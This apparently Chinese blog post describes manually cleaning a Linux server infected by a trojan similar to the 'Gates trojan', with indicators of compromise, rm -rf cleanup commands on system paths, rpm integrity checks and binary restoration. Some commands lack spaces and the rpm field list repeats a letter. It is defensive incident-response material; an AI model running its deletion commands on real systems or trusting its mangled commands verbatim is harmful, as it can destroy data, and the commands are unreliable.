root     14039  0.0  0.0  1372  924 ?        Ss   15:27   0:00 ifconfig eth0
root     14040  0.0  0.1  6544 1060 pts/0    R+   15:27   0:00 ps aux

[root@localhost dpkgdp]# ^C
[root@localhost dpkgdp]# cd /usr/bin/dpkgdp
[root@localhost dpkgdp]#
[root@localhost dpkgdp]# ls -lh
总用量 1.6M
-rwxr-xr-x. 1 root root 144K 9月  3 14:56 lsconf
-rwxr-xr-x. 1 root root 121K 9月  3 14:56 netstat
-rwxr-xr-x. 1 root root 1.2M 9月  3 14:56 ps
-rwxr-xr-x. 1 root root 73K 9月  3 14:56 ss
```



### 异常启动项

进入rc3.d目录可以发现多个异常进行：

```
/etc/rc.d/rc3.d/S97DbSecuritySpt /etc/rc.d/rc3.d/S99selinux
```

```

[root@localhost rc.d]# ls
init  rc  rc.d  rc.d  rc.d  rc.d  rc.d  rc.local  rc.sysinit
[root@localhost rc.d]# cd init.d/
[root@localhost init.d]# ls
atd-cpp  audit  cgroup  functions  iptables  kugpfxroiy  mysqld  nfslock  portreserve  restorecond  rpcsvcsed  single  vmware-tools
atd      autofs  cpuspeed  haldemon  iptables  lvm2-lvmclat  nfsd  postfix  rsyslog  rpm  rpmlog  saslauthd  vmware-tools-thinprint
atd-cpp  blk-availability  cron  halt  imbalance  lvm2-monitor  netfs  ntpdate  psacct  rpsbind  sanbox  sshd  winbind
cpuid  certmonger  cups  htccacheless  kdump  admnitor  network  nmap  quota_nld  rpsvcsd  saslauthd  sasl  xinetd
atd      cgroupfig  DbSecuritySpt  httpd  killall  messagebus  nfs  odjydb  rdac  rpsidbgd  selinux  udev-post  yrbind
[root@localhost init.d]# more DbSecuritySpt
#!/bin/bash
#
# /usr/bin/dmccg/ps
[root@localhost init.d]# more selinux
#!/bin/bash
#
# /usr/bin/sel-port/getty

```

## 搜索病毒原体

```
find / -size -1223124c -size +1223122c -exec ls -id {} \;
```

搜索 1223123 大小的文件

```
[root@localhost rc3.d]# find / -size -1223124c -size +1223122c -exec ls -ld {} \;
```

```
529599 /bin/ps
524140 /bin/netstat
659226 /usr/bin/bsd-port/getty
659230 /usr/bin/dpkgd/ps
278271 /usr/bin/.sshd
271230 /usr/sbin/ss
284915 /usr/sbin/lsof
find: "/proc/16353": 没有那个文件或目录
find: "/proc/16356": 没有那个文件或目录
find: "/proc/16358": 没有那个文件或目录
find: "/proc/16359": 没有那个文件或目录
find: "/proc/16375/task/16375/fd/5": 没有那个文件或目录
find: "/proc/16375/task/16375/fdinfo/5": 没有那个文件或目录
find: "/proc/16375/fd/5": 没有那个文件或目录
find: "/proc/16375/fdinfo/5": 没有那个文件或目录
```

<https://blog.csdn.net/jihaichen>

从以上种种行为发现该病毒与“盖茨木马”有点类似，具体技术分析细节详见：

## Linux平台“盖茨木马”分析

<http://www.freebuf.com/articles/system/117823.html>

## 悬镜服务器卫士 | Linux平台“盖茨木马”分析

[http://www.sohu.com/a/117926079\\_515168](http://www.sohu.com/a/117926079_515168)

### 手动清除木马过程：

## 1、简单判断有无木马

```
#有无下列文件
cat/etc/rc.d/init.d/selinux
cat/etc/rc.d/init.d/DbSecuritySpt
ls/usr/bin/bsd-port
ls/usr/bin/dpkgd
#查看大小是否正常
ls-lh/bin/netstat
ls-lh/bin/ps
ls-lh/usr/sbin/lsof
ls-lh/usr/sbin/ss
```



## 2、上传如下命令到 /root 下

```
ps netstat ss lsof
```

## 3、删除如下目录及文件

```
rm-rf/usr/bin/dpkgd (ps netstat lsof ss)
rm-rf/usr/bin/bsd-port      #木马程序
rm-f/usr/bin/.sshd          #木马后门
rm-f/tmp/gates.lod
rm-f/tmp/moni.lod
rm-f/etc/rc.d/init.d/DbSecuritySpt(启动上述描述的那些木马变种程序)
rm-f/etc/rc.d/rc1.d/S97DbSecuritySpt
rm-f/etc/rc.d/rc2.d/S97DbSecuritySpt
rm-f/etc/rc.d/rc3.d/S97DbSecuritySpt
rm-f/etc/rc.d/rc4.d/S97DbSecuritySpt
rm-f/etc/rc.d/rc5.d/S97DbSecuritySpt
rm-f/etc/rc.d/init.d/selinux(默认是启动/usr/bin/bsd-port/getty)
rm-f/etc/rc.d/rc1.d/S99selinux
rm-f/etc/rc.d/rc2.d/S99selinux
rm-f/etc/rc.d/rc3.d/S99selinux
rm-f/etc/rc.d/rc4.d/S99selinux
rm-f/etc/rc.d/rc5.d/S99selinux
```

## 4、找出异常程序并杀死

## 5、删除含木马命令并重新安装

### 命令替换

### RPM check 检查：

系统完整性也可以通过 rpm 自带的 -Va 来校验检查所有的 rpm 软件包,有哪些被篡改了,防止 rpm 也被替换,上传一个安全干净稳定版本 rpm 二进制到服务器上进行检查

```
./rpm -Va > rpm.log
```

如果一切均校验正常将不会产生任何输出。如果有不一致的地方,就会显示出来。输出格式是8位长字符串, **c** 用以指配置文件,接着是文件名。8 位字符的每一个 用以表示文件与 RPM 数据库中一种属性的比较结果。.(点)表示测试通过。下面的字符表示对 RPM 软件包进行的某种测试失败：

### 验证内容中的8个信息的具体内容如下：

- ◆ S 文件大小是否改变
- ◆ M 文件的类型或文件的权限 (rwx) 是否被改变
- ◆ S 文件MD5校验和是否改变 (可以看成文件内容是否改变)
- ◆ D 设备的中,从代码是否改变
- ◆ L 文件路径是否改变
- ◆ U 文件的属主 (所有者) 是否改变
- ◆ G 文件的属组是否改变
- ◆ T 文件的修改时间是否改变

<https://blog.csdn.net/jihaichen>

### 命令替换：

rpm2cpio 包全名 | cpio -idv .文件绝对路径 rpm 包中文件提取

Rpm2cpio 将 rpm 包转换为 cpio 格式的命令

Cpio 是一个标准工具，它用于创建软件档案文件和从档案文件中提取文件

Cpio 选项 <[文件|设备]

-i : copy-in 模式，还原-d : 还原时自动新建目录-v : 显示还原过程

### 文件提取还原案例：

查询ls命令属于哪个软件包

```
rpm -qf /bin/ls
```

```
mv /bin/ls /tmp
```

提取rpm包中ls命令到当前目录的 /bin/ls 下:

```
rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls
```

把 ls 命令复制到 /bin/ 目录 修复文件丢失:

```
cp /root/bin/ls /bin/
```

挂载命令 rpm 包：

```
mkdir /mnt/chrom/ 建立挂载点 mount -t iso9660 /dev/cdrom /mnt/cdrom/ 挂在光盘  
mount /dev/sr0 /mnt/cdrom/
```

卸载命令

```
umount 设备文件名或挂载点 umount /mnt/cdrom/
```

```
[root@localhost mnt]# ls  
chrom chrom hgfs  
[root@localhost mnt]# rpm -qf /bin/ps  
procps-3.2.8-30.el6.i686  
[root@localhost mnt]# rpm2cpio /mnt/cdrom/Packages/procps-3.2.8-30.el6.i686.rpm | cpio -idv ./bin/ps  
./bin/ps  
862 块  
[root@localhost mnt]# ls  
bin chrom chrom hgfs  
[root@localhost mnt]# cd bin  
[root@localhost bin]# ls  
ps  
[root@localhost bin]# cp ps /bin/ps  
cp: 是否覆盖"/bin/ps"? yes
```

### 参考链接：

<https://www.zhihu.com/question/33964391>

<http://www.freebuf.com/articles/system/11424.html>

[https://help.aliyun.com/knowledge\\_detail/37479.html?spm=a2c4g.11186623.4.1.W0eomj](https://help.aliyun.com/knowledge_detail/37479.html?spm=a2c4g.11186623.4.1.W0eomj)

<https://cloud.tencent.com/document/product/296/9604>